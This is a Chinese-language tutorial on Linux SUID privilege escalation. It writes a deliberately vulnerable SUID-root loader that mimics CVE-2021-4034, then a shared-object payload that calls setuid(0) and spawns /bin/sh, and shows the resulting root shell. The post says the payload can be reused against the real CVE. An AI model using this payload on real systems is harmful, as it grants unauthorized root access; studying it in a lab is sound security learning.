原理+代码实战:SUID提权渗透
本文会按照下面主题进行分享:
- 再谈SUID权限
- 实战SUID提权
- 编写模拟SUID漏洞程序
- 编写提权so
- 提权
0x1 SUID权限
0x11 查看
查看程序是否具有SUID权限,使用ll命令即可。
***@xxx:~$ ll /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jul 15 2021 /usr/bin/passwd*
第一列中,-rwsr 中的s,即代表passwd程序拥有SUID权限。
0x12 添加、删除SUID权限
添加SUID权限:chmod u+s 文件
删除SUID权限:chmod u-s 文件
修改时要使用文件的属主的用户去修改,不然会报错。
$ whoami
xxx
$ ls -l out
-rwxr-xr-x 1 *** *** 40760 Feb 19 22:40 out
$ chmod u+s out
chmod: changing permissions of 'out': Operation not permitted
0x2 实战SUID提权
这一章,我们来代码实操一下SUID提权。
第一步,我们写一个程序,通过参数来加载指定的so,然后再增加SUID权限,来模拟CVE-2021-4034可以加载任意so的程序。因为我们主要是学习漏洞程序的利用,如果过多篇幅讲解漏洞的原因,不利于理解漏洞。
第二步,我们写一个漏洞利用的so,让SUID程序来加载,实现提权。这个so可以在CVE-2021-4034真实漏洞中重复利用。
第一步:编写SUID漏洞程序
本程序通过参数传入so路径和函数名,然后加载指定so,执行指定函数。
#include <iostream>
#include <dlfcn.h>
int main(int argc, char *argv[])
{
// 1、加载so
auto so_path = argv[1];
printf("so_path=%s\n", so_path);
void *so = dlopen(so_path, RTLD_NOW);
////////////////////////////////
// 2、执行函数
typedef void (*gconv_init_t)(void *);
auto func_name = argv[2];
printf("func_name=%s\n", func_name);
gconv_init_t func = (gconv_init_t)dlsym(so,func_name);
func(nullptr);
return 0;
}
然后,我们编译一下,添加SUID权限,并确保属主是root。
# whoami
root
# sh build.sh
# ls -l
total 48
-rw-r--r-- 1 *** *** 40 Feb 9 19:06 build.sh
-rwxr-xr-x 1 root root 40760 Feb 19 23:50 out
-rw-r--r-- 1 *** *** 712 Feb 19 23:45 xxx.cpp
# chmod u+s out
# ls -l
total 48
-rw-r--r-- 1 *** *** 40 Feb 9 19:06 build.sh
-rwsr-xr-x 1 root root 40760 Feb 19 23:50 out
-rw-r--r-- 1 *** *** 712 Feb 19 23:45 xxx.cpp
第二步:编写提权so
写一个so,来实现提权。在so里提权,并启动一个shell进程。
当SUID漏洞进程运行加载so时,此时实际UID为***(非root用户),有效ID为root。
当提权so被SUID进程加载时,实际UID为***,有效UID为root。若此时直接启动shell,shell的实际UID从父进程集成,也为***,因为shell不是SUID程序,所以有效UID=实际UID=***。
要想提权,我们需要把实际UID变为root,我们可以调用setuid实现。
#include <sys/types.h>
#include <unistd.h>
int setuid(uid_t uid);
If the user is root or the program is set-user-ID-root, special care must be taken: setuid() checks the effective user ID of the caller and if it is the superuser, all process-related user ID's are set to uid. After this has occurred, it is impossible for the program to regain root privileges.
so核心提权代码如下:
void gconv_init(void *step)
{
// 设置实际UID、有效UID
auto r1 = setuid(0);
// 启动shell
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
execve(args[0], args, environ);
exit(0);
}
第三步:提权
准备好以后,提权的操作就是让SUID漏洞程序加载我们的so即可,我们模拟的SUID漏洞程序很简单,直接参数传递so的路径和调用的函数即可。
***@xxx:~/code/case/case24_test_SUID/load_so$ whoami
***
***@xxx:~/code/case/case24_test_SUID/load_so$ ./load_so ../so/suid.so gconv_init
so_path=../so/suid.so
func_name=gconv_init
ruid=1000,euid=0,suid=0
ruid=0,euid=0,suid=0
r1=0,r2=0
# whoami
root
真实的提权操作就是找到系统现有的SUID程序,千方百计寻找漏洞使其加载我们的so。下一篇我们来讲一下如何利用真实漏洞CVE-2021-4034加载任意so,实现提权。
欢迎使用常用聊天软件关注后,回复suid可获取本文代码~